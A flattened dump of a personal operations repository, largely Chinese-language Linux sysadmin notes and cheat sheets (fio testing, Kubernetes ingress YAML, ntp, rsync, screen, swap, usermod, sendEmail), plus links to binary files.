http://download1.rpmfusion.org/free/el/updates/6/x86_64/exfat-utils-1.0.1-2.el6.x86_64.rpm 5 | 6 | yum localinstall fuse-exfat-1.0.1-2.el6.x86_64.rpm exfat-utils-1.0.1-2.el6.x86_64.rpm -y 7 | yum install ntfs-3g-devel ntfsprogs -y 8 | 9 | mount.exfat /dev/sdc1 /media/ 10 | mount.ntfs -------------------------------------------------------------------------------- /IAAS/storage/test/bin/do_test_fio.sh: -------------------------------------------------------------------------------- 1 | #!/bin/bash 2 | # 3 | #2016/8/29 4 | # 一个简单的测试示例 5 | # yum install fio -y 6 | 7 | test -d '/mnt/TEST_IOPS' || mkdir -p /mnt/TEST_IOPS 8 | cd /mnt/TEST_IOPS 9 | echo >run.log 10 | 11 | do_test() { 12 | echo "[+] START at: `date +%F_%T`" >>run.log 13 | fio --direct=1 --ioengine=libaio --filename=/mnt/TEST_IOPS/tttt --rw=rw --bs=4k --size=20G --runtime=3600 --iodepth=8 --name=4K.rw 14 | echo "[-] STOPPED at: `date +%F_%T`" >>run.log 15 | } 16 | 17 | while true 18 | do 19 | rm -f /mnt/TEST_IOPS/tttt 20 | do_test 21 | done 22 | -------------------------------------------------------------------------------- /IAAS/tuning/shadowsocks-optimize-system.docx: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/opera443399/ops/063e6da1596059b09ede4dbbad6681f9499e85a7/IAAS/tuning/shadowsocks-optimize-system.docx -------------------------------------------------------------------------------- /PAAS/docker/archi/docker-filesystems-multilayer.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/opera443399/ops/063e6da1596059b09ede4dbbad6681f9499e85a7/PAAS/docker/archi/docker-filesystems-multilayer.png -------------------------------------------------------------------------------- /PAAS/docker/archi/docker_network_vpc.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/opera443399/ops/063e6da1596059b09ede4dbbad6681f9499e85a7/PAAS/docker/archi/docker_network_vpc.png -------------------------------------------------------------------------------- /PAAS/docker/archi/docker_swarm_network_view.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/opera443399/ops/063e6da1596059b09ede4dbbad6681f9499e85a7/PAAS/docker/archi/docker_swarm_network_view.png -------------------------------------------------------------------------------- /PAAS/docker/archi/阿里容器服务.jpg: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/opera443399/ops/063e6da1596059b09ede4dbbad6681f9499e85a7/PAAS/docker/archi/阿里容器服务.jpg -------------------------------------------------------------------------------- /PAAS/docker/images/docker-dev.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/opera443399/ops/063e6da1596059b09ede4dbbad6681f9499e85a7/PAAS/docker/images/docker-dev.png -------------------------------------------------------------------------------- /PAAS/docker/images/docker_network_inspect_swarm_mode_ipvs.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/opera443399/ops/063e6da1596059b09ede4dbbad6681f9499e85a7/PAAS/docker/images/docker_network_inspect_swarm_mode_ipvs.png -------------------------------------------------------------------------------- /PAAS/k8s/k8s_test/ingress.class/nginx/ingress_controller/configmap.yaml: -------------------------------------------------------------------------------- 1 | kind: ConfigMap 2 | apiVersion: v1 3 | metadata: 4 | name: nginx-configuration 5 | namespace: ingress-nginx 6 | labels: 7 | app: ingress-nginx 8 | -------------------------------------------------------------------------------- /PAAS/k8s/k8s_test/ingress.class/nginx/ingress_controller/namespace.yaml: -------------------------------------------------------------------------------- 1 | apiVersion: v1 2 | kind: Namespace 3 | metadata: 4 | name: ingress-nginx 5 | -------------------------------------------------------------------------------- /PAAS/k8s/k8s_test/ingress.class/nginx/ingress_controller/service-nodeport.yaml: -------------------------------------------------------------------------------- 1 | apiVersion: v1 2 | kind: Service 3 | metadata: 4 | name: ingress-nginx 5 | namespace: ingress-nginx 6 | spec: 7 | type: NodePort 8 | ports: 9 | - name: http 10 | port: 80 11 | targetPort: 80 12 | protocol: TCP 13 | nodePort: 31780 14 | - name: https 15 | port: 443 16 | targetPort: 443 17 | nodePort: 31781 18 | protocol: TCP 19 | selector: 20 | app: ingress-nginx 21 | -------------------------------------------------------------------------------- /PAAS/k8s/k8s_test/ingress.class/nginx/ingress_controller/tcp-services-configmap.yaml: -------------------------------------------------------------------------------- 1 | kind: ConfigMap 2 | apiVersion: v1 3 | metadata: 4 | name: tcp-services 5 | namespace: ingress-nginx 6 | -------------------------------------------------------------------------------- /PAAS/k8s/k8s_test/ingress.class/nginx/ingress_controller/udp-services-configmap.yaml: -------------------------------------------------------------------------------- 1 | kind: ConfigMap 2 | apiVersion: v1 3 | metadata: 4 | name: udp-services 5 | namespace: ingress-nginx 6 | -------------------------------------------------------------------------------- /PAAS/k8s/k8s_test/ingress.class/traefik/deploy_app_cheese/ingress_cheese.yaml: -------------------------------------------------------------------------------- 1 | apiVersion: extensions/v1beta1 2 | kind: Ingress 3 | metadata: 4 | name: cheese 5 | annotations: 6 | kubernetes.io/ingress.class: traefik 7 | spec: 8 | rules: 9 | - host: stilton.minikube 10 | http: 11 | paths: 12 | - path: / 13 | backend: 14 | serviceName: stilton 15 | servicePort: http 16 | - host: cheddar.minikube 17 | http: 18 | paths: 19 | - path: / 20 | backend: 21 | serviceName: cheddar 22 | servicePort: http 23 | - host: wensleydale.minikube 24 | http: 25 | paths: 26 | - path: / 27 | backend: 28 | serviceName: wensleydale 29 | servicePort: http 30 | -------------------------------------------------------------------------------- /PAAS/serviceMesh/serviceMesh-intro.md: -------------------------------------------------------------------------------- 1 | # serviceMesh-intro 2 | 2018/11/21 3 | 4 | 5 | serviceMesh 简而言之:专注业务,服务治理等公共区域要抽象出来提供解决方案,例如: 6 | 7 | - 服务注册和发现 8 | - 限流熔断 9 | - 监控 10 | - 安全 11 | -------------------------------------------------------------------------------- /cmd/aclocal.txt: -------------------------------------------------------------------------------- 1 | yum install libtool 2 | 3 | Libtool library used but `LIBTOOL' is undefined 4 | 5 | 有一次编译GeoIP 6 | 先,configure,再make时提示: 7 | Libtool library used but `LIBTOOL' is undefined 8 | 9 | 琢磨了半天,才了解到: 10 | 11 | 安装完所有需要的软件包后,先要执行一下下aclocal,这个命令应该是会把一些软件包的配置写入到configure.ac这个文件中,然后再进行configure、make、make install就可以 12 | 13 | 14 | 安装coreseek时,也会用到: 15 | 16 | # aclocal 17 | # libtoolize --force 18 | # automake --add-missing 19 | # autoconf 20 | # autoheader 21 | -------------------------------------------------------------------------------- /cmd/arp.txt: -------------------------------------------------------------------------------- 1 | linux抑制arp通告 2 | 3 | 通常在用LVS的时候,要在lo口用到虚拟ip,此时需要调整2个地方: 4 | arp_ignore 5 | arp_announce 6 | 因为多个IP用到一个物理网卡的MAC,arp会在局域网广播说: 7 | “ip为192.168.1.1的MAC地址是多少”,此时将有多个主机回应。 8 | 17 0.328160000 Elitegro_1f:10:5f Broadcast ARP 60 Who has 192.168.1.1? Tell 192.168.1.148 9 | 10 | 通常是这样做的: 11 | echo 1 >/proc/sys/net/ipv4/conf/all/arp_ignore 12 | echo 2 >/proc/sys/net/ipv4/conf/all/arp_announce 13 | echo 1 >/proc/sys/net/ipv4/conf/lo/arp_ignore 14 | echo 2 >/proc/sys/net/ipv4/conf/lo/arp_announce 15 | 16 | 疑问是: 17 | all中包括了lo不? 18 | 个人理解是: 19 | 先禁止all这个全局的端口的arp行为,然后指定lo口的 20 | 21 | 关于lvs和arp的问题,此处可以参考网络文章,例如: 22 | ​http://blog.chinaunix.net/uid-24960107-id-193084.html -------------------------------------------------------------------------------- /cmd/cron/at.txt: -------------------------------------------------------------------------------- 1 | 2 | 指定时间的计划任务。 3 | # at 7pm + 1 day 4 | at> /bin/sync 5 | at> /bin/sync 6 | at> /sbin/shutdown -h now 7 | at> <-按下: 8 | job 3 at 2013-11-16 19:00 9 | -------------------------------------------------------------------------------- /cmd/datetime/timezone.txt: -------------------------------------------------------------------------------- 1 | 2 | date 3 | 时区修改: 4 | mv /etc/localtime /etc/localtime.old 5 | ln -sf /usr/share/zoneinfo/Asia/Shanghai /etc/localtime 6 | 7 | # cat /etc/sysconfig/clock 8 | ZONE="Asia/Shanghai" 9 | 10 | 11 | GMT Greenwich Mean Time 格林尼治标准时间 12 | UT Universal Time 世界时间 13 | UTC Coordinated Universal Time UTC+0:00 协调世界时 14 | HKT Hong Kong Time UTC+8:00 香港标准时间 15 | Linux下用date命令都能看到当前的时区。 16 | Linux下中国时区都是用CST表示的。 17 | 但是这个表示方法非常不合理。因为CST同时代表了下面4个时区。 18 | CST Central Standard Time (USA) UTC-6:00 19 | CST Central Standard Time (Australia) UTC+9:30 20 | CST China Standard Time UTC+8:00 21 | CST Cuba Standard Time UTC-4:00 22 | 23 | 24 | 25 | 26 | 如果安装系统时,选择的是默认的UTC时间,则,在系统启动后,可能会比正确时间多8个小时。(系统误认为你的CMOS是UTC时间,而你又选择了+8的时区,所以Linux在CMOS时间上加了8小时作为系统的时间) 27 | 处理方式:调整了/etc/sysconfig/clock,增加UTC=false,表示CMOS不是UTC时间。 28 | -------------------------------------------------------------------------------- /cmd/datetime/配置ntp服务.txt: -------------------------------------------------------------------------------- 1 | 配置NTP服务 2 | 3 | --- 使用ntpd服务来控制vm的时间同步 --- 4 | 先更新一次: 5 | # /usr/sbin/ntpdate stdtime.gov.hk 6 | # sed -i.backup '/server 0.centos.pool.ntp.org iburst/i\## NTP related \ 7 | server stdtime.gov.hk iburst \ 8 | server 0.asia.pool.ntp.org iburst \ 9 | server 1.asia.pool.ntp.org iburst \ 10 | server 2.asia.pool.ntp.org iburst \ 11 | \ 12 | ' /etc/ntp.conf 13 | 14 | 启动ntpd服务: 15 | # service ntpd start 16 | # chkconfig ntpd on 17 | 18 | -------------------------------------------------------------------------------- /cmd/dd.txt: -------------------------------------------------------------------------------- 1 | 记录dd的用法 2 | 2016/5/25 3 | 4 | 1、生成一个空文件 5 | 6 | dd if=/dev/zero of=/mnt/TEST/FILE bs=1M count=1000 7 | 8 | 9 | 10 | -------------------------------------------------------------------------------- /cmd/flock.txt: -------------------------------------------------------------------------------- 1 | flock 2 | 2018/4/19 3 | 4 | 5 | flock - Manage locks from shell scripts 6 | 在 shell 脚本 中使用锁来避免多个脚本同时跑引发异常 7 | 8 | 9 | 示例: 10 | 11 | pid_file='/tmp/test_flock.pid' 12 | pid_old=$(cat ${pid_file}) 13 | echo $$ > ${pid_file} 14 | { 15 | flock -n 11 16 | if [ $? -eq 1 ] ; then 17 | if lsof -n -P -l ${pid_file} | grep ${pid_old} | grep -v grep >/dev/null; then 18 | echo "Warn: exec $0 timeout!" 19 | else 20 | flock -u 11 21 | fi 22 | fi 23 | 24 | #do_something 25 | 26 | } 11<> ${pid_file} 27 | -------------------------------------------------------------------------------- /cmd/grep.txt: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/opera443399/ops/063e6da1596059b09ede4dbbad6681f9499e85a7/cmd/grep.txt -------------------------------------------------------------------------------- /cmd/head.txt: -------------------------------------------------------------------------------- 1 | head -c n 文件 2 | 输出文件的前 n bytes的内容。 3 | 若用的是-c -n,则表示除了前n bytes不输出,其他全部显示出来。 4 | 5 | head -c 10 /var/log/syslog 6 | 输出syslog前10 bytes 7 | 8 | FSIZE=500000 9 | head -c $FSIZE < /dev/zero > sysfile 10 | 利用/dev/zero建立一个文件 sysfile,文件大小为500 000 bytes -------------------------------------------------------------------------------- /cmd/iptables/NFS端口.txt: -------------------------------------------------------------------------------- 1 | NFS端口解释 2 | 3 | NFSv4 4 | TCP port 2049 for NFS. 5 | NFSv3 6 | TCP and UDP port 2049 for NFS. 7 | TCP and UDP port 111 (rpcbind/sunrpc). 8 | TCP and UDP port specified with MOUNTD_PORT="port" 9 | TCP and UDP port specified with STATD_PORT="port" 10 | TCP port specified with LOCKD_TCPPORT="port" 11 | UDP port specified with LOCKD_UDPPORT="port" 12 | The MOUNTD_PORT, STATD_PORT, LOCKD_TCPPORT, and LOCKD_UDPPORT ports are configured in the /etc/sysconfig/nfs file. -------------------------------------------------------------------------------- /cmd/iptables/images/Linux_IptablesSchema.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/opera443399/ops/063e6da1596059b09ede4dbbad6681f9499e85a7/cmd/iptables/images/Linux_IptablesSchema.png -------------------------------------------------------------------------------- /cmd/iptables/images/iptables-traverse.jpg: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/opera443399/ops/063e6da1596059b09ede4dbbad6681f9499e85a7/cmd/iptables/images/iptables-traverse.jpg -------------------------------------------------------------------------------- /cmd/iptables/images/nf-packet-flow.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/opera443399/ops/063e6da1596059b09ede4dbbad6681f9499e85a7/cmd/iptables/images/nf-packet-flow.png -------------------------------------------------------------------------------- /cmd/iptables/images/rc_DHCP_firewall.jpg: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/opera443399/ops/063e6da1596059b09ede4dbbad6681f9499e85a7/cmd/iptables/images/rc_DHCP_firewall.jpg -------------------------------------------------------------------------------- /cmd/iptables/images/rc_DMZ_firewall.jpg: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/opera443399/ops/063e6da1596059b09ede4dbbad6681f9499e85a7/cmd/iptables/images/rc_DMZ_firewall.jpg -------------------------------------------------------------------------------- /cmd/iptables/images/rc_NAT.jpg: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/opera443399/ops/063e6da1596059b09ede4dbbad6681f9499e85a7/cmd/iptables/images/rc_NAT.jpg -------------------------------------------------------------------------------- /cmd/iptables/images/rc_UTIN_firewall.jpg: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/opera443399/ops/063e6da1596059b09ede4dbbad6681f9499e85a7/cmd/iptables/images/rc_UTIN_firewall.jpg -------------------------------------------------------------------------------- /cmd/iptables/images/rc_firewall.jpg: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/opera443399/ops/063e6da1596059b09ede4dbbad6681f9499e85a7/cmd/iptables/images/rc_firewall.jpg -------------------------------------------------------------------------------- /cmd/iptables/iptables.指令解释.txt: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/opera443399/ops/063e6da1596059b09ede4dbbad6681f9499e85a7/cmd/iptables/iptables.指令解释.txt -------------------------------------------------------------------------------- /cmd/iptables/iptables介绍.docx: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/opera443399/ops/063e6da1596059b09ede4dbbad6681f9499e85a7/cmd/iptables/iptables介绍.docx -------------------------------------------------------------------------------- /cmd/ln.txt: -------------------------------------------------------------------------------- 1 | 参数 -v的用法 2 | 3 | 硬链接: 4 | 5 | [root@A home]# ln -v /home/kk/ss.sh /home #加上参数v后, 6 | 7 | create hard link `/home/ss.sh' to `/home/kk/ss.sh' #会用文字显示源文件到目标的链接 8 | 9 | [root@A home]# ls 10 | 11 | apache kk oldboy ss.sh 12 | 13 | [root@A home]# ln -vs /home/kk/ss.sh /home #创建名字相同的软链接 14 | 15 | create symbolic link `/home/ss.sh' to `/home/kk/ss.sh' #会用文字显示源文件到目标的链接 16 | 17 | ln: creating symbolic link `/home/ss.sh' to `/home/kk/ss.sh': File exists #同时也出现了己存在提示 18 | 19 | 软链接 20 | 21 | [root@A home]# ln -vs /home/kk/ss.sh /home/dd #加上参数v后的软链接 22 | 23 | create symbolic link `/home/dd' to `/home/kk/ss.sh' #会用文字显示源文件到目标的链接 24 | -------------------------------------------------------------------------------- /cmd/lsof.txt: -------------------------------------------------------------------------------- 1 | lsof使用小结 2 | 2017/10/27 3 | 4 | 5 | 1、找到删除的文件 6 | 7 | [root@dev32 logs]# rm test.log 8 | 发现磁盘空间没有回收,显然是程序占用中。 9 | 10 | 根据 pid 来找一下 fd 11 | [root@dev32 logs]# lsof -p 11129 |grep delete 12 | nutcracke 11129 root 3w REG 8,2 10894938901 1454199 /usr/local/twemproxy/logs/test.log (deleted) 13 | 14 | 上述第 4 列指出了 fd 15 | 16 | [root@dev32 logs]# ls -l /proc/11129/fd/3 17 | l-wx------ 1 root root 64 Oct 25 20:48 /proc/11129/fd/3 -> /usr/local/twemproxy/logs/test.log (deleted) 18 | 19 | 20 | 清空: 21 | [root@dev32 logs]# echo >/proc/11129/fd/3 22 | 23 | 24 | 小结:回收日志文件的磁盘空间时,如果程序会占用,建议直接清理文件中的内容 25 | 26 | 27 | 28 | -------------------------------------------------------------------------------- /cmd/nc.md: -------------------------------------------------------------------------------- 1 | # nc使用小结 2 | 3 | 简单的监听一个端口来测试 4 | nc -4 -l -p 11111 5 | -------------------------------------------------------------------------------- /cmd/paste.txt: -------------------------------------------------------------------------------- 1 | paste使用小结 2 | 3 | [root@server200-20 ~]# cat a.txt 4 | 1 5 | 2 6 | 3 7 | 4 8 | 5 9 | [root@server200-20 ~]# cat b.txt 10 | a 11 | b 12 | c 13 | d 14 | e 15 | [root@server200-20 ~]# paste a.txt b.txt 16 | 1 a 17 | 2 b 18 | 3 c 19 | 4 d 20 | 5 e 21 | -------------------------------------------------------------------------------- /cmd/rsync/rsync+Sersync实现触发式文件同步.txt: -------------------------------------------------------------------------------- 1 | Sersync实现触发式文件同步 2 | 3 | http://hi.baidu.com/616237138/item/8fd77f8c8773dae2e596e022 4 | http://dnuser.blog.51cto.com/4863891/1262903 5 | http://www.2cto.com/os/201109/103539.html -------------------------------------------------------------------------------- /cmd/rsync/rsync_include.sh: -------------------------------------------------------------------------------- 1 | #!/bin/bash 2 | # 3 | # 2015/4/8 4 | #rsync -avzP --exclude "log" --exclude "upload" root@192.168.1.222::web /home/web/ 5 | 6 | rsync -avzP --include-from="/home/ops/conf/include_from_222_web.conf" --exclude="/*" root@192.168.1.222::web /home/web/ 7 | 8 | cat <<_FILES 9 | --------------- 10 | $ files in: include_from_222_web.conf 11 | app 12 | config 13 | doc 14 | library 15 | service 16 | task 17 | templates_c 18 | tmp_cache 19 | www 20 | _FILES 21 | -------------------------------------------------------------------------------- /cmd/rz.txt: -------------------------------------------------------------------------------- 1 | 安装: 2 | yum install lrzsz 3 | 4 | 5 | 使用rz命令直接从本地机器上传文件到内网服务器报错?请使用rz -be 命令。 6 | 单独用rz上传可能发生上传中断、上传文件变化(md5不同)等问题,使用rz -be可避免: 7 | -b:binary 用binary的方式上传下载,不解释字符为ASCII 8 | -e:强制escape 所有控制字符,比如Ctrl+x,DEL等 9 | 注意: 10 | 1. 如果使用SecureCRT客户端时,使用rz -be命令后会弹出上传文件对话框,请不要勾选对话框中“Upload files as ASCII”。 -------------------------------------------------------------------------------- /cmd/scp.txt: -------------------------------------------------------------------------------- 1 | scp -pr web root@192.168.1.230:/home/ 2 | scp -pr web/config/ root@192.168.1.230:/home/web/ 3 | 4 | 5 | scp -P 22 -r root@192.168.1.118:/home/web /home/web 6 | 7 | scp限速传输 8 | 9 | 限速1M 10 | scp -l 1000 文件名 账号@远程机器IP 11 | 此时的传输速率就是1M/8=100K左右 12 | -------------------------------------------------------------------------------- /cmd/screen.txt: -------------------------------------------------------------------------------- 1 | screen使用小结 2 | 2017/9/12 3 | 4 | 5 | 进入screen: 6 | $ screen 7 | 8 | 列出: 9 | $ screen -ls 10 | There is a screen on: 11 | 18596.pts-0.test240 (Detached) 12 | 1 Socket in /var/run/screen/S-root. 13 | 14 | $ screen -r 18596 15 | 16 | 17 | 18 | 在screen中如何操作: 19 | 先按: 20 | ctrl+a 21 | 22 | 然后按下面的按键: 23 | a 24 | c:新建screen 25 | d:detached 26 | k:结束该screen 27 | n:下一个screen 28 | p:上一个screen 29 | w:显示screen 30 | A:给screen命名 31 | ?:帮助 32 | 0-9:选择screen 33 | 34 | 35 | 如果是这样的: 36 | $ screen -ls 37 | There is a screen on: 38 | 18596.pts-0.test240 (Attached) 39 | 1 Socket in /var/run/screen/S-root. 40 | 41 | 则: 42 | $ screen -D -r 18596 43 | 44 | 45 | 参考:man 46 | -D -r Reattach a session. If necessary detach and logout remotely first. -------------------------------------------------------------------------------- /cmd/selinux.txt: -------------------------------------------------------------------------------- 1 | # 禁用selinux 2 | # modify /etc/sysconfig/selinux 3 | # to: SELINUX=disabled 4 | # and reboot later. 5 | setenforce 0 && sed -i 's/SELINUX=enforcing/SELINUX=disabled/' /etc/selinux/config -------------------------------------------------------------------------------- /cmd/sendEmail.txt: -------------------------------------------------------------------------------- 1 | 2 | 这个perl脚本可以上网搜索下。 3 | http://caspian.dotconf.net/menu/Software/SendEmail/ 4 | 5 | sendEmail -s smtp.company.com \ 6 | -xu mail_username@company.com \ 7 | -xp mail_password \ 8 | -f mail_from@company.com \ 9 | -t mail_to@client.com \ 10 | -u 'msg title' \ 11 | -m 'msg body' \ 12 | -a /tmp/attachment.txt 13 | Aug 14 17:00:10 tvm-test sendEmail[6319]: Email was sent successfully! 14 | 15 | 16 | 可以用shell包装下供zabbix发邮件: 17 | [root@test alertscripts]# cat mailman.sh 18 | #!/bin/bash 19 | # 20 | # 2015/8/18 21 | export LANG="en_US.UTF-8" 22 | 23 | s_to="$1" 24 | s_title="【告警】$2" 25 | s_body="$3" 26 | 27 | sendEmail -s smtp.company.com \ 28 | -xu mail_username@company.com \ 29 | -xp mail_password \ 30 | -f mail_from@company.com \ 31 | -t $s_to \ 32 | -u $s_title \ 33 | -m $s_body -------------------------------------------------------------------------------- /cmd/ss.txt: -------------------------------------------------------------------------------- 1 | ss的使用记录 2 | 是linux的命令行工具 3 | 4 | 查看tcp连接 5 | ss -ant 6 | 7 | 查看udp连接 8 | ss -anu 9 | 10 | 查看连接和进程 11 | ss -antup 12 | 13 | 查看 源端口符合要求的连接 14 | ss -ant src :80 15 | 16 | 查看目标ip和端口符合要求的连接 17 | ss -ant dst 127.0.0.1:80 18 | 19 | 查看源和目标端口符合要求的连接 20 | ss -ant src :22 dst :61962 21 | -------------------------------------------------------------------------------- /cmd/ssh/ssh Public Key.doc: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/opera443399/ops/063e6da1596059b09ede4dbbad6681f9499e85a7/cmd/ssh/ssh Public Key.doc -------------------------------------------------------------------------------- /cmd/ssh/ssh forward.docx: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/opera443399/ops/063e6da1596059b09ede4dbbad6681f9499e85a7/cmd/ssh/ssh forward.docx -------------------------------------------------------------------------------- /cmd/ssh/ssh选项解释.md: -------------------------------------------------------------------------------- 1 | # ssh选项解释 2 | 2018/8/21 3 | 4 | ```bash 5 | ##### 典型的一个端口转发示例: 6 | ssh -o StrictHostKeyChecking=no -o ServerAliveInterval=3 -o ServerAliveCountMax=10 -NfL 11111:192.168.1.107:22222 test@192.168.1.105 7 | ##### 此时,访问 127.0.0.1:11111 则意味着是: 192.168.1.105 -> 192.168.1.107:22222 8 | 9 | 10 | ##### ssh 连过去的时候,通常会有一个交互式的动作,来检查 key,这个选项则静默处理掉了 11 | -o StrictHostKeyChecking=no 12 | 13 | ##### 字面意义 14 | -o ServerAliveInterval=3 15 | 16 | ##### 字面意义 17 | -o ServerAliveCountMax=10 18 | 19 | ``` 20 | -------------------------------------------------------------------------------- /cmd/swap.txt: -------------------------------------------------------------------------------- 1 | swap的用法 2 | 3 | 一、创建 4 | 第一种方法: 5 | 1.fdisk /dev/sda 6 | 2.n (新建一个分区为/dev/sda6) 7 | 3.t (修改分区的id) 8 | 4.82 (swap的id为82) 9 | 5.w (重写分区表) 10 | 6.partprobe (同步内存和分区表信息) 11 | 7.mkswap /dev/sda6 (格式化成swap分区) 12 | 8.swapon /dev/sda6 (打开swap分区) 13 | 9.vim /etc/fstab (在fstab中增加一条记录如下) 14 | /dev/hda6 swap swap defaults 0 0 15 | 10.mount -a 16 | 17 | 第二种方法: 18 | 1.dd if=/dev/zero of=/opt/swapfile bs=1M count=1000 (创建一个1G的文件作为交换分区使用) 19 | 2.mkswap /opt/swapfile (格式化成swap分区) 20 | 3.swapon /opt/swapfile (打开swap分区) 21 | 4.vim /etc/fstab (在fstab中增加一条记录如下) 22 | /opt/swapfile swap swap defaults 0 0 23 | 5.mount -a 24 | 25 | 26 | 二、关闭 27 | swapoff -a -------------------------------------------------------------------------------- /cmd/tr.txt: -------------------------------------------------------------------------------- 1 | [root@test240 ~]# fping -b 68 -c 6 -q -p 1000 202.96.134.134 2 | 202.96.134.134 : xmt/rcv/%loss = 6/6/0%, min/avg/max = 2.08/2.87/3.64 3 | 4 | [root@test240 ~]# echo "202.96.134.134 : xmt/rcv/%loss = 6/6/0%, min/avg/max = 2.08/2.87/3.64" | awk '{print $5, $8}' |tr -d "%|," 5 | 6/6/0 2.08/2.87/3.64 6 | 7 | 8 | [root@test240 ~]# echo "202.96.134.134 : xmt/rcv/%loss = 6/6/0%, min/avg/max = 2.08/2.87/3.64" | awk '{print $5, $8}' |tr -d "%|," | tr -s " " "/" 9 | 6/6/0/2.08/2.87/3.64 10 | 11 | 12 | [root@test240 ~]# echo "202.96.134.134 : xmt/rcv/%loss = 6/6/0%, min/avg/max = 2.08/2.87/3.64" | awk '{print $5, $8}' |tr -d "%|," | tr -s " " "/" | awk -F"/" '{print $3, $4, $5, $6}' 13 | 0 2.08 2.87 3.64 -------------------------------------------------------------------------------- /cmd/uniq.txt: -------------------------------------------------------------------------------- 1 | uniq命令 2 | 3 | 文件经过处理后在它的输出文件中可能会出现重复的行。例如,使用cat命令将两个文件合并后,再使用sort命令进行排序,就可能出现重复行。这时可以使用uniq命令将这些重复行从输出文件中删除,只留下每条记录的唯一样本。 4 | 5 | 语法:uniq [选项] 文件 6 | 7 | 说明:这个命令读取输入文件,并比较相邻的行。在正常情况下,第二个及以后更多个重复行将被删去,行比较是根据所用字符集的排序序列进行的。该命令加工后的结果写到输出文件中。输入文件和输出文件必须不同。如果输入文件用“- ”表示,则从标准输入读取。 8 | 9 | 该命令各选项含义如下:、 10 | 11 | - c 显示输出中,在每行行首加上本行在文件中出现的次数。它可取代- u和- d选项。 12 | 13 | - d 只显示重复行 。 14 | 15 | - u 只显示文件中不重复的各行 。 16 | 17 | - n 前n个字段与每个字段前的空白一起被忽略。一个字段是一个非空格、非制表符的字符串,彼此由制表符和空格隔开(字段从0开始编号)。 18 | 19 | +n 前n个字符被忽略,之前的字符被跳过(字符从0开始编号)。 20 | 21 | - f n 与- n相同,这里n是字段数。 22 | 23 | - s n 与+n相同,这里n是字符数。 24 | 25 | 例如: 26 | 27 | 1. 显示文件example中不重复的行。 28 | 29 | uniq - u example 30 | 31 | 2. 显示文件example中不重复的行,从第2个字段的第2个字符开始做比较。 32 | 33 | uniq - u - 1 +1 example 34 | -------------------------------------------------------------------------------- /cmd/user/usermod.txt: -------------------------------------------------------------------------------- 1 | [root@test240 ~]# id git 2 | uid=502(git) gid=506(git) groups=506(git) 3 | [root@test240 ~]# usermod -G www git 4 | [root@test240 ~]# id git 5 | uid=502(git) gid=506(git) groups=506(git),501(www) 6 | [root@test240 ~]# usermod -aG redmine git 7 | [root@test240 ~]# id git 8 | uid=502(git) gid=506(git) groups=506(git),501(www),504(redmine) 9 | [root@test240 ~]# usermod -G www git 10 | [root@test240 ~]# id git 11 | uid=502(git) gid=506(git) groups=506(git),501(www) 12 | [root@test240 ~]# usermod -G git git 13 | [root@test240 ~]# id git 14 | uid=502(git) gid=506(git) groups=506(git) 15 | 16 | 17 | 一次增加多个用户组: 18 | # usermod -G bin,daemon,adm,lp,ecweb daemon -------------------------------------------------------------------------------- /cmd/user/单用户模式重置root密码.txt: -------------------------------------------------------------------------------- 1 | 2 | 重置root密码。 3 | 4 | 启动到grub,按e, 5 | 选择kernel,按e, 6 | 末尾增加:single, 7 | 按b,进入系统,此时是单用户模式, 8 | passwd重置密码, 9 | 重启。 10 | -------------------------------------------------------------------------------- /cmd/wc.txt: -------------------------------------------------------------------------------- 1 | 计算行数、字数以及字符数: 2 | 3 | Linux提供了一个简单的工具wc用于完成该功能,见如下用例: 4 | /> echo This is a test of the emergency broadcast system | wc 5 | 1 9 49 #1行,9个单词,49个字符 6 | /> echo Testing one two three | wc -c 7 | 22 #22个字符 8 | /> echo Testing one two three | wc -l 9 | 1 #1行 10 | /> echo Testing one two three | wc -w 11 | 4 #4个单词 12 | /> wc /etc/passwd /etc/group #计算两个文件里的数据。 13 | 39 71 1933 /etc/passwd 14 | 62 62 906 /etc/group 15 | 101 133 2839 总用量 16 | -------------------------------------------------------------------------------- /dev/bash/get_rmfygg.sh: -------------------------------------------------------------------------------- 1 | #!/bin/bash 2 | # 3 | # 2017/11/10 4 | 5 | dt='2017-10-19' 6 | i_start=90 7 | i_end=105 8 | 9 | mkdir -p src 10 | rm -f src/*.html 11 | 12 | 13 | for cnt in `seq ${i_start} ${i_end}`; do 14 | curl -s -A "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.90 Safari/537.36" http://rmfygg.court.gov.cn/psca/lgnot/bulletin/%E6%B7%B1%E5%9C%B3_0_${cnt}.html -o src/${cnt}.html 15 | grep ${dt} src/${cnt}.html && echo "[${cnt}] : found" || echo "[${cnt}]" 16 | sleep 1s 17 | done 18 | 19 | grep -B1 ${dt} src/*.html |grep -v ${dt} |sed -nr 's/(.*)/src/result.html 20 | head src/result.html 21 | -------------------------------------------------------------------------------- /dev/c/C学习脚印.txt: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/opera443399/ops/063e6da1596059b09ede4dbbad6681f9499e85a7/dev/c/C学习脚印.txt -------------------------------------------------------------------------------- /dev/frontEnd/angularjs/django+DRF+AngularJS.txt: -------------------------------------------------------------------------------- 1 | django+DRF+AngularJS 2 | 2017/9/29 3 | 4 | 待完成 5 | 6 | 7 | 8 | 9 | 1、Getting Started with Django REST Framework (DRF) and AngularJS 10 | http://engineroom.trackmaven.com/blog/getting-started-drf-angularjs-part-1/ 11 | http://engineroom.trackmaven.com/blog/getting-started-drf-angularjs-part-2/ 12 | http://engineroom.trackmaven.com/blog/getting-started-drf-angularjs-part-3/ 